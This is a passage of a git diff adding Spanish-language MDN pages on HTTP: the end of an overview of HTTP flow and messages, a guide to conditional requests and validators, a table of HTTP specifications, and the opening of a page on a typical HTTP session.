+  El uso de <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> permite relacionar peticiones con el estado del servidor. Esto define las sesiones, a pesar de que por definición el protocolo HTTP es un protocolo sin estado. Esto es muy útil no sólo para aplicaciones de comercio electrónico, sino también para cualquier sitio que permita configuración al usuario.</li>
+</ul>
+
+<h2 id="Flujo_de_HTTP">Flujo de HTTP</h2>
+
+<p>Cuando el cliente quiere comunicarse con el servidor, tanto si es directamente con él, o a través de un proxy intermedio, realiza los siguientes pasos:</p>
+
+<ol>
+ <li>Abre una conexión TCP: la conexión TCP se usará para hacer una petición, o varias, y recibir la respuesta. El cliente pude abrir una conexión nueva, reusar una existente, o abrir varias a la vez hacia el servidor.</li>
+ <li>Hacer una petición HTTP: Los mensajes HTTP (previos a HTTP/2) son legibles en texto plano. A partir de la versión del protocolo HTTP/2, los mensajes se encapsulan en franjas, haciendo que no sean directamente interpretables, aunque el principio de operación es el mismo.
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>Leer la respuesta enviada por el servidor:
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>Cierre o reuso de la conexión para futuras peticiones.</li>
+</ol>
+
+<p>Si está activado el HTTP <em>pipelining</em>, varias peticiones pueden enviarse sin tener que esperar que la primera respuesta haya sido satisfecha. Este procedimiento es difícil de implementar en las redes de computadores actuales, donde se mezclan software antiguos y modernos. Así que el HTTP<em> pipelining</em>  ha sido substituido en HTTP/2 por el multiplexado de varias peticiones en una sola trama</p>
+
+<h2 id="Mensajes_HTTP">Mensajes HTTP</h2>
+
+<p>En las versiones del protocolo HTTP/1.1 y anteriores los mensajes eran de formato texto y eran totalmente comprensibles directamente por una persona. En HTTP/2, los mensajes estan estructurados en un nuevo formato binario y las tramas permiten la compresión de las cabeceras y su multiplexación. Así pues, incluso si solamente parte del mensaje original en HTTP se envía en este formato, la sematica de cada mensaje es la misma y el cliente puede formar el mensaje original en HTTP/1.1. Luego, es posible interpretar los mensajes HTTP/2 en el formato de HTTP/1.1.</p>
+
+<p>Existen dos tipos de mensajes HTTP: peticiones y respuestas, cada uno sigue su propio formato.</p>
+
+<h3 id="Peticiones">Peticiones</h3>
+
+<p>Un ejemplo de petición HTTP:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>Una petición de HTTP, está formado  por los siguientes campos:</p>
+
+<ul>
+ <li>Un <a href="/en-US/docs/Web/HTTP/Methods">método </a>HTTP,  normalmente pueden ser un verbo, como: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} o un nombre como: {{HTTPMethod("OPTIONS")}} o {{HTTPMethod("HEAD")}}, que defina la operación que el cliente quiera realizar. El objetivo de un cliente, suele ser una petición de recursos, usando GET, o presentar un valor de un <a href="/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a>, usando POST, aunque en otras ocasiones puede hacer otros tipos de peticiones. </li>
+ <li>La dirección del recurso pedido; la URL del recurso, sin los elementos obvios por el contexto, como pueden ser: sin el  {{glossary("protocol","protocolo")}} (<code>http://</code>),  el {{glossary("domain","dominio")}} (aquí <code>developer.mozilla.org</code>), o el {{glossary("port","puerto")}} TCP (aquí el 80). </li>
+ <li>La versión del protocolo HTTP.</li>
+ <li>Cabeceras HTTP opcionales, que pueden aportar información adicional a los servidores.</li>
+ <li>O un cuerpo de mensaje, en algún método, como puede ser POST, en el cual envía la información para el servidor.</li>
+</ul>
+
+<h3 id="Respuestas">Respuestas</h3>
+
+<p>Un ejemplo de repuesta:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>Las respuestas están formadas por los siguentes campos:</p>
+
+<ul>
+ <li>La versión del protocolo HTTP que están usando.</li>
+ <li>Un código de estado, indicando si la petición ha sido exitosa, o no, y debido a que.</li>
+ <li>Un mensaje de estado, una breve descripción del código de estado. </li>
+ <li>Cabeceras HTTP, como las de las peticiones.</li>
+ <li>Opcionalmente, el recurso que se ha pedido.</li>
+</ul>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>El protocólo HTTP es un protocolo ampliable y fácil de usar. Su estructura cliente-servidor, junto con la capacidad para usar cabeceras, permite a este protocolo evolucionar con las nuevas y futuras aplicaciones en Internet.</p>
+
+<p>Aunque la versión del protocolo HTTP/2 añade algo de complejidad, al utilizar un formato en binario, esto aumenta su rendimiento, y la estructura y semantica de los mensajes es la misma desde la versión HTTP/1.0. El flujo de comunicaciones en una sesión es sencillo y puede ser fácilmente estudiado e investigado con un simple <a href="/en-US/docs/Tools/Network_Monitor">monitor de mensajes HTTP</a>.</p>
diff --git a/files/es/web/http/peticiones_condicionales/index.html b/files/es/web/http/peticiones_condicionales/index.html
new file mode 100644
index 0000000000..c480c68ee2
--- /dev/null
+++ b/files/es/web/http/peticiones_condicionales/index.html
@@ -0,0 +1,148 @@
+---
+title: Peticiones condicionales en HTTP
+slug: Web/HTTP/Peticiones_condicionales
+tags:
+  - Guía
+  - HTTP
+  - Peticiones condicionales
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">HTTP tiene un concepto de peticiones condicionales, donde el resultado, e incluso el éxito de una petición, se puede cambiar comparando los recursos afectados con el valor de un validador. Dichas peticiones pueden ser útiles para validar el contenido de un caché, y evitar un control inútil, para verificar la integridad de un documento, como al reanudar una descarga, o al evitar perder actualizaciones al cargar o modificar un documento en el servidor.</p>
+
+<h2 id="Principios">Principios</h2>
+
+<p>Las peticiones condicionales HTTP son peticiones que se ejecutan de manera diferente, dependiendo del valor de encabezados específicos. Estos encabezados definen una condición previa, y el resultado de la petición será diferente si la condición previa coincide o no.</p>
+
+<p>Los diferentes comportamientos están definidos por el método de petición utilizado y por el conjunto de encabezados utilizados para una condición previa:</p>
+
+<ul>
+ <li>para métodos seguros, como {{HTTPMethod("GET")}}, que generalmente intenta recuperar un documento, la petición condicional se puede usar para devolver el documento, solo si es relevante. Por lo tanto, esto ahorra ancho de banda.</li>
+ <li>para métodos no seguros, como {{HTTPMethod("PUT")}}, que generalmente carga un documento, la petición condicional se puede usar para cargar el documento, solo si el original en el que se basa es el mismo que el almacenado en el servidor.</li>
+</ul>
+
+<h2 id="Validadores">Validadores</h2>
+
+<p>Todos los encabezados condicionales intentan verificar si el recurso almacenado en el servidor coincide con una versión específica. Para lograr esto, las peticiones condicionales deben indicar la versión del recurso. Como la comparación de todo el recurso byte a byte es impracticable, y no siempre lo que se desea, la petición transmite un valor que describe la versión. Tales valores se llaman validadores y son de dos tipos:</p>
+
+<ul>
+ <li>la fecha de la última modificación del documento, la fecha <em>last-modified</em>.</li>
+ <li>una cadena opaca, que identifica de forma única cada versión, llamada <em>etiqueta de entidad</em>, o <em>etag</em>.</li>
+</ul>
+
+<p>Comparar versiones del mismo recurso es un poco complicado: según el contexto, hay dos tipos de controles de igualdad:</p>
+
+<ul>
+ <li><em>Validación fuerte</em>, se utiliza cuando se espera una igualdad byte a byte, por ejemplo, al reanudar una descarga.</li>
+ <li><em>Validación débil</em>, se utiliza cuando el agente de usuario solo necesita determinar si los dos recursos tienen el mismo contenido. Incluso si son pequeñas diferencias, como diferentes anuncios, o un pie de página con una fecha diferente.</li>
+</ul>
+
+<p>El tipo de validación es independiente del validador utilizado. Ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} permiten ambos tipos de validación, aunque la complejidad para implementarlo en el lado del servidor puede variar. HTTP utiliza la validación fuerte de forma predeterminada, y especifica cuándo se puede usar una validación débil.</p>
+
+<h3 id="Validación_fuerte">Validación fuerte</h3>
+
+<p id="sect1">La validación sólida consiste en garantizar que el recurso es, byte a byte, idéntico al que se compara. Esto es obligatorio para algunos encabezados condicionales, y el predeterminado para los demás. La validación sólida es muy estricta y puede ser difícil garantizarla a nivel del servidor, pero garantiza que no se pierdan datos en ningún momento, a veces a expensas del rendimiento.</p>
+
+<p>Es bastante difícil tener un identificador único para una validación fuerte con {{HTTPHeader("Last-Modified")}}. A menudo, esto se hace usando una {{HTTPHeader("ETag")}} con el hash MD5 del recurso (o un derivado).</p>
+
+<h3 id="Validación_débil">Validación débil</h3>
+
+<p>La validación débil difiere de la validación fuerte, ya que considera dos versiones del documento como idénticas si el contenido es equivalente. Por ejemplo, una página que diferiría de otra solo por una fecha diferente en su pie de página, o una publicidad diferente, se consideraría idéntica a la otra con validación débil. Estas dos versiones iguales se consideran diferentes cuando se usa una validación fuerte. Construir un sistema de etags que cree una validación débil puede ser complejo, ya que implica conocer la importancia de los diferentes elementos de una página, pero es muy útil para optimizar el rendimiento del caché.</p>
+
+<h2 id="Encabezados_condicionales">Encabezados condicionales</h2>
+
+<p>Varios encabezados HTTP, llamados encabezados condicionales, conducen a peticiones condicionales. Estos son:</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es igual a una que se encuentra en este encabezado. Por defecto, a menos que el etag tenga el prefijo <code>'W/'</code>, realiza una validación fuerte.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es diferente a cada una de las enumeradas en este encabezado. Por defecto, a menos que el etag tenga el prefijo <code>'W/'</code>, realiza una validación fuerte.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más reciente que la dada en este encabezado.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más antigua que la dada en este encabezado.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Similar a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, pero sólo puede tener una etag, o una fecha. Si falla, la petición de rango falla, y en lugar de una respuesta {{HTTPStatus("206")}} <code>Partial Content</code> , se envía un {{HTTPStatus("200")}} <code>OK</code> con el recurso completo.</dd>
+</dl>
+
+<h2 id="Casos_de_uso">Casos de uso</h2>
+
+<h3 id="Actualización_de_caché">Actualización de caché</h3>
+
+<p>El caso de uso más común para las peticiones condicionales es la actualización de un caché. Con un caché vacío, o sin un caché, el recurso solicitado se devuelve con un estado {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p>
+
+<p>Junto con el recurso, los validadores se envían en los encabezados. En este ejemplo, ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} son enviados, pero igualmente podría haber sido solo uno de ellos. Estos validadores se almacenan en caché con el recurso (como todos los encabezados) y se utilizarán para elaborar peticiones condicionales, una vez que el caché se vuelva obsoleto.</p>
+
+<p>Mientras la memoria caché no esté obsoleta, no se emitirá ninguna petición. Pero una vez se haya vuelto obsoleta, esto se controla principalmente por el encabezado {{HTTPHeader("Cache-Control")}}, el cliente no usa el valor en caché directamente, pero emite una <em>petición condicional</em>. El valor del validador se utiliza como parámetro de los encabezados {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}}.</p>
+
+<p>Si el recurso no ha cambiado, el servidor envía una respuesta {{HTTPStatus("304")}} <code>Not Modified</code>. Esto hace que la caché se actualice nuevamente, y el cliente usa el recurso almacenado en caché. Aunque hay una respuesta/petición de ida y vuelta que consume algunos recursos, esto es más eficiente que transmitir de nuevo todo el recurso a través del cable.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>Si el recurso ha cambiado, el servidor simplemente envía una respuesta {{HTTPStatus("200")}}<code> OK</code>, con la nueva versión del recurso, como si la petición no fuera condicional y el cliente usara este nuevo recurso (y lo almacena en caché).</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>Además de la configuración de los validadores en el lado del servidor, este mecanismo es transparente: todos los navegadores administran una memoria caché y envían dichas peticiones condicionales sin que los desarrolladores web realicen ningún trabajo especial.</p>
+
+<h3 id="Integridad_de_una_descarga_parcial">Integridad de una descarga parcial</h3>
+
+<p>La descarga parcial de archivos es una funcionalidad de HTTP que permite reanudar operaciones previas, ahorrando tiempo y ancho de banda, manteniendo la información ya obtenida:</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/16190/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>Un servidor que admite descargas parciales transmite esto enviando el encabezado {{HTTPHeader("Accept-Ranges")}}. Una vez que esto sucede, el cliente puede reanudar una descarga enviando un encabezado {{HTTPHeader("Ranges")}} con los rangos ausentes:</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>El principio es simple, pero hay un problema potencial: si el recurso descargado se modificó entre ambas descargas, los rangos obtenidos corresponderán a dos versiones diferentes del recurso y el documento final estará corrupto.</p>
+
+<p>Para evitar esto, se utilizan peticiones condicionales. Para los rangos, hay dos formas de hacer esto. El más flexible hace uso de {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}} y el servidor devuelve un error si la precondición falla, entonces el cliente reinicia la descarga desde el principio:</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>Incluso si este método funciona, agrega un intercambio adicional de respuesta / petición cuando el documento ha sido cambiado. Esto altera el rendimiento, y HTTP tiene un encabezado específico para evitar este escenario: {{HTTPHeader("If-Range")}}:</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>Esta solución es más eficiente, pero ligeramente menos flexible, ya que solo se puede usar una etag en la condición. Rara vez se necesita flexibilidad adicional.</p>
+
+<h3 id="Evitar_el_problema_de_actualización_perdida_con_bloqueo_optimista">Evitar el problema de actualización perdida con bloqueo optimista</h3>
+
+<p>Una operación común en aplicaciones web es <em>actualizar</em> un documento remoto. Esto es muy común en cualquier sistema de archivos o aplicaciones de control de origen, pero cualquier aplicación que permita almacenar recursos remotos necesita tal mecanismo. Los sitios web comunes, como los wikis y otros CMS, tienen tal necesidad.</p>
+
+<p>Con el método {{HTTPMethod("PUT")}} eres capaz de implementarlo. El cliente primero lee los archivos originales, los modifica y finalmente los envía al servidor:</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
+<p>Desafortunadamente, las cosas se vuelven un poco inexactas cuando tenemos en cuenta la concurrencia. Mientras un cliente modifica localmente su nueva copia del recurso, un segundo cliente puede obtener el mismo recurso y hacer lo mismo con su copia. Lo que sucede a continuación es muy desafortunado: cuando se devuelven al servidor, las modificaciones del primer cliente son descartadas por la inserción del siguiente cliente, ya que este segundo cliente desconoce los cambios del primer cliente en el recurso. La decisión sobre quién gana, no se comunica a la otra parte. De qué cliente se deberán mantener los cambios, variará con la velocidad a la que se realicen, esto depende del rendimiento de los clientes, del servidor e incluso de la edición humana del documento en el cliente. El ganador cambiará de una vez a la siguiente. Esta es una condición de carrera y conduce a comportamientos problemáticos, que son difíciles de detectar y depurar:</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>No hay manera de lidiar con este problema sin molestar a uno de los dos clientes. Sin embargo, se deben evitar las actualizaciones perdidas y las condiciones de la carrera. Queremos resultados predecibles y esperamos que se notifique a los clientes cuando se rechacen sus cambios.</p>
+
+<p>Las peticiones condicionales permiten implementar el <em>algoritmo de bloqueo optimista</em> (utilizado por la mayoría de las wikis o sistemas de control de fuente). El concepto es permitir que todos los clientes obtengan copias del recurso, luego permitirles modificarlo localmente, controlando la concurrencia al permitir que el primer cliente envíe una actualización. Todas las actualizaciones posteriores, basadas en la versión ahora obsoleta del recurso, se rechazan:</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>Esto se implementa utilizando el encabezado {{HTTPHeader("If-Match")}} o {{HTTPHeader("If-Unmodified-Since")}}. Si la etag no coincide con el archivo original, o si el archivo ha sido modificado desde que se obtuvo, el cambio simplemente se rechaza con un error {{HTTPStatus("412")}} <code>Precondition Failed</code>. Depende entonces del cliente lidiar con el error: ya sea notificando al usuario que vuelva a comenzar (esta vez en la versión más reciente) o mostrándole al usuario una <em>diferencia </em>entre ambas versiones, Ayudándoles a decidir qué cambios desean mantener.</p>
+
+<h3 id="Tratar_con_la_primera_subida_de_un_recurso.">Tratar con la primera subida de un recurso.</h3>
+
+<p>La primera subida de un recurso es un caso similar al anterior. Como cualquier actualización de un recurso, está sujeta a una condición de carrera si dos clientes intentan realizarla en tiempos similares. Para evitar esto, se pueden utilizar peticiones condicionales: añadiendo el encabezado {{HTTPHeader("If-None-Match")}} con el valor especial <code>'*'</code>, representando cualquier etag. La petición sólo tendrá éxito si el recurso no existía antes:</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> solo funcionará con servidores compatibles con HTTP/1.1 (y posteriores). Si no está seguro de que el servidor sea compatible, primero debe emitir una petición {{HTTPMethod("HEAD")}} al recurso para comprobarlo.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Las peticiones condicionales son una característica clave de HTTP y permiten la creación de aplicaciones eficientes y complejas. Para almacenar en caché o reanudar las descargas, el único trabajo requerido para los webmasters es configurar el servidor correctamente, establecer etags correctas en algunos entornos puede ser complicado. Una vez logrado, el navegador atenderá las peticiones condicionales esperadas.</p>
+
+<p>Para los mecanismos de bloqueo, ocurre lo contrario: los desarrolladores web deben emitir una petición con los encabezados adecuados, mientras que los webmasters pueden confiar en la aplicación para realizar las comprobaciones correspondientes.</p>
+
+<p>En ambos casos está claro, las peticiones condicionales son una característica fundamental de la Web.</p>
diff --git a/files/es/web/http/recursos_y_especificaciones/index.html b/files/es/web/http/recursos_y_especificaciones/index.html
new file mode 100644
index 0000000000..0c36d6e3e6
--- /dev/null
+++ b/files/es/web/http/recursos_y_especificaciones/index.html
@@ -0,0 +1,262 @@
+---
+title: Recursos y especificaciones de HTTP
+slug: Web/HTTP/recursos_y_especificaciones
+translation_of: Web/HTTP/Resources_and_specifications
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP se especificó por primera vez a principios de los 90s. Diseñado con extensibilidad en mente, ha visto numerosas adiciones a lo largo de los años; esto lleva a que su especificación se disemine a través de númerosos documentos (en medio de extensiones experimentales abandonadas). Esta página presenta una lista de los recursos relevantes sobre HTTP:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{rfc(7230)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7231)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7232)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7233)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7234)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5861)}}</td>
+   <td>HTTP Cache-Control Extensions for Stale Content</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(8246)}}</td>
+   <td>HTTP Immutable Responses</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7235)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6265)}}</td>
+   <td>HTTP State Management Mechanism<br>
+    <em>Defines Cookies</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td>
+   <td>Cookie Prefixes</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td>
+   <td>Same-Site Cookies</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01">Draft spec</a></td>
+   <td>Deprecate modification of 'secure' cookies from non-secure origins</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2145)}}</td>
+   <td>Use and Interpretation of HTTP Version Numbers</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6585)}}</td>
+   <td>Additional HTTP Status Codes</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7538)}}</td>
+   <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7725)}}</td>
+   <td>An HTTP Status Code to Report Legal Obstacles</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2397)}}</td>
+   <td>The "data" URL scheme</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(3986)}}</td>
+   <td>Uniform Resource Identifier (URI): Generic Syntax</td>
+   <td>Internet Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5988)}}</td>
+   <td>Web Linking<br>
+    <em>Defines the {{HTTPHeader("Link")}} header</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td>
+   <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td>
+   <td>Informational (Expired)</td>
+  </tr>
+  <tr>
+   <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td>
+   <td>HTTP Client Hints</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7578)}}</td>
+   <td>Returning Values from Forms: multipart/form-data</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6266)}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2183)}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br>
+    <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7239)}}</td>
+   <td>Forwarded HTTP Extension</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6455)}}</td>
+   <td>The WebSocket Protocol</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5246)}}</td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.2<br>
+    <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tlswg.github.io/tls13-spec/)">Draft spec</a></td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.3<br>
+    <em>Once ready, this protocol will supersede TLS 1.2.</em></td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2817)}}</td>
+   <td>Upgrading to TLS Within HTTP/1.1</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7540)}}</td>
+   <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7541)}}</td>
+   <td>HPACK: Header Compression for HTTP/2</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7838)}}</td>
+   <td>HTTP Alternative Services</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7301)}}</td>
+   <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br>
+    <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6454)}}</td>
+   <td>The Web Origin Concept</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>Cross-Origin Resource Sharing</td>
+   <td>{{Spec2("Fetch")}}</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7034)}}</td>
+   <td>HTTP Header Field X-Frame-Options</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6797)}}</td>
+   <td>HTTP Strict Transport Security (HSTS)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Upgrade Insecure Requests")}}</td>
+   <td>Upgrade Insecure Requests</td>
+   <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSP 1.0")}}</td>
+   <td>Content Security Policy 1.0<br>
+    <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td>
+   <td>{{Spec2("CSP 1.0")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td>
+   <td>Specifying legacy document modes*<br>
+    <em>Defines X-UA-Compatible</em></td>
+   <td>Note</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5689)}}</td>
+   <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br>
+    <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2324)}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td>
+   <td>April 1st joke spec</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7168)}}</td>
+   <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td>
+   <td>April 1st joke spec</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG")}}</td>
+   <td>HTML<br>
+    <em>Defines extensions of HTTP for Server-Sent Events</em></td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Tracking Preference Expression</a></td>
+   <td>DNT header</td>
+   <td>Editor's draft / Candidate recommendation</td>
+  </tr>
+  <tr>
+   <td><a href="http://wicg.github.io/reporting/">Reporting API</a></td>
+   <td><code>Report-To</code> header</td>
+   <td>Draft</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/web/http/sesión/index.html b/files/es/web/http/sesión/index.html
new file mode 100644
index 0000000000..3d6e2d938b
--- /dev/null
+++ b/files/es/web/http/sesión/index.html
@@ -0,0 +1,158 @@
+---
+title: Una típica sesión de HTTP
+slug: Web/HTTP/Sesión
+translation_of: Web/HTTP/Session
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>En los protocolos basados en el modelo cliente-servidor, como es el caso del HTTP, una sesión consta de tres fases:</p>
+
+<ol>
+ <li>El cliente establece una conexión TCP (o la conexión correspondiente si la capa de transporte corresponde a otro protocolo).</li>
+ <li>El cliente manda su petición, y espera por la respuesta. </li>
+ <li>El servidor procesa la petición, y responde con un código de estado y los datos correspondientes.</li>
+</ol>
+
